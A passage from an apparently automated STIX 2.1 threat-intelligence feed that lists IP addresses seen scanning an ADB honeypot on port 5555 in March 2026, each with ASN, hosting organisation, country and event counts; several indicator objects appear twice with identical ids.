      "id": "indicator--d0e50b40-1aa4-4555-87e1-6cc0cff846a9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:00:02.000Z",
      "valid_until": "2026-04-05T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-04T09:52:31.000Z",
          "last_seen": "2026-03-04T10:04:09.330Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-04T09:50:30.000Z | last_seen=2026-03-23T10:17:00.062Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e9297c02-a45b-4c2a-9ba6-642c98b2619d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:00:02.000Z",
      "valid_until": "2026-04-05T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-04T09:50:30.000Z",
          "last_seen": "2026-03-23T10:17:00.062Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-04T09:49:17.000Z | last_seen=2026-03-04T09:50:21.231Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a93b224a-cb53-40db-af76-8ae70c46abe3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:00:02.000Z",
      "valid_until": "2026-04-05T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-04T09:49:17.000Z",
          "last_seen": "2026-03-04T09:50:21.231Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-04T10:35:36.000Z | last_seen=2026-03-04T10:45:40.621Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--8dcdf15c-2831-4c0b-b009-318b5b801953",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T11:00:02.000Z",
      "valid_until": "2026-04-05T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-04T10:35:36.000Z",
          "last_seen": "2026-03-04T10:45:40.621Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-04T10:34:47.000Z | last_seen=2026-03-04T10:35:52.377Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c6781ba7-f62a-4687-ba7d-a73ad886309c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T11:00:02.000Z",
      "valid_until": "2026-04-05T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-04T10:34:47.000Z",
          "last_seen": "2026-03-04T10:35:52.377Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-04T10:35:36.000Z | last_seen=2026-03-04T10:45:40.621Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--8dcdf15c-2831-4c0b-b009-318b5b801953",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T11:00:02.000Z",
      "valid_until": "2026-04-05T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-04T10:35:36.000Z",
          "last_seen": "2026-03-04T10:45:40.621Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-04T10:34:47.000Z | last_seen=2026-03-04T10:35:52.377Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c6781ba7-f62a-4687-ba7d-a73ad886309c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T11:00:02.000Z",
      "valid_until": "2026-04-05T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-04T10:34:47.000Z",
          "last_seen": "2026-03-04T10:35:52.377Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-04T13:55:41.000Z | last_seen=2026-03-04T14:05:59.315Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--506fda16-4386-444b-87a1-32533aee0f29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.203.30.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T14:00:02.000Z",
      "valid_until": "2026-04-05T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-04T13:55:41.000Z",
          "last_seen": "2026-03-04T14:05:59.315Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-04T13:55:41.000Z | last_seen=2026-03-04T14:05:59.315Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--506fda16-4386-444b-87a1-32533aee0f29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.203.30.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T14:00:03.000Z",
      "valid_until": "2026-04-05T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-04T13:55:41.000Z",
          "last_seen": "2026-03-04T14:05:59.315Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-04T15:47:19.000Z | last_seen=2026-03-04T15:48:23.422Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--45c8c380-668e-4e49-a300-a4de10101dad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.79.186.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T16:00:02.000Z",
      "valid_until": "2026-04-05T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-04T15:47:19.000Z",
          "last_seen": "2026-03-04T15:48:23.422Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T16:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-04T15:47:19.000Z | last_seen=2026-03-04T15:48:23.422Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--45c8c380-668e-4e49-a300-a4de10101dad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.79.186.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T16:00:05.000Z",
      "valid_until": "2026-04-05T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-04T15:47:19.000Z",
          "last_seen": "2026-03-04T15:48:23.422Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=UA; asn=29443; asn_org=PP Technical Company Mega; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-04T16:02:34.000Z | last_seen=2026-03-04T16:12:41.591Z | ports=5555 | cc=UA | asn=29443 | org=PP Technical Company Mega",
      "id": "indicator--59edc0ea-6f81-4be0-bb7e-a0109615a167",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.107.88.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T17:00:02.000Z",
      "valid_until": "2026-04-05T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-04T16:02:34.000Z",
          "last_seen": "2026-03-04T16:12:41.591Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "29443"
          ],
          "org": [
            "PP Technical Company Mega"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=UA; asn=29443; asn_org=PP Technical Company Mega; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-04T16:02:34.000Z | last_seen=2026-03-04T16:12:41.591Z | ports=5555 | cc=UA | asn=29443 | org=PP Technical Company Mega",
      "id": "indicator--59edc0ea-6f81-4be0-bb7e-a0109615a167",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.107.88.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T17:00:02.000Z",
      "valid_until": "2026-04-05T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-04T16:02:34.000Z",
          "last_seen": "2026-03-04T16:12:41.591Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "29443"
          ],
          "org": [
            "PP Technical Company Mega"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=11 | first_seen=2026-03-04T18:27:41.000Z | last_seen=2026-03-07T23:52:43.112Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--f37c7241-c366-4e6e-abd6-b9f5bae15b04",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T19:00:03.000Z",
      "valid_until": "2026-04-05T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 11,
          "first_seen": "2026-03-04T18:27:41.000Z",
          "last_seen": "2026-03-07T23:52:43.112Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=11 | first_seen=2026-03-04T18:27:41.000Z | last_seen=2026-03-07T23:52:43.112Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--f37c7241-c366-4e6e-abd6-b9f5bae15b04",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T19:00:03.000Z",
      "valid_until": "2026-04-05T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 11,
          "first_seen": "2026-03-04T18:27:41.000Z",
          "last_seen": "2026-03-07T23:52:43.112Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-04T20:36:53.000Z | last_seen=2026-03-04T20:38:14.835Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--910bbc44-fa2c-49ab-8055-3a550a4bf746",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T21:00:02.000Z",
      "valid_until": "2026-04-05T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-04T20:36:53.000Z",
          "last_seen": "2026-03-04T20:38:14.835Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-04T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-04T20:36:53.000Z | last_seen=2026-03-04T20:38:14.835Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--910bbc44-fa2c-49ab-8055-3a550a4bf746",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T21:00:03.000Z",
      "valid_until": "2026-04-05T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
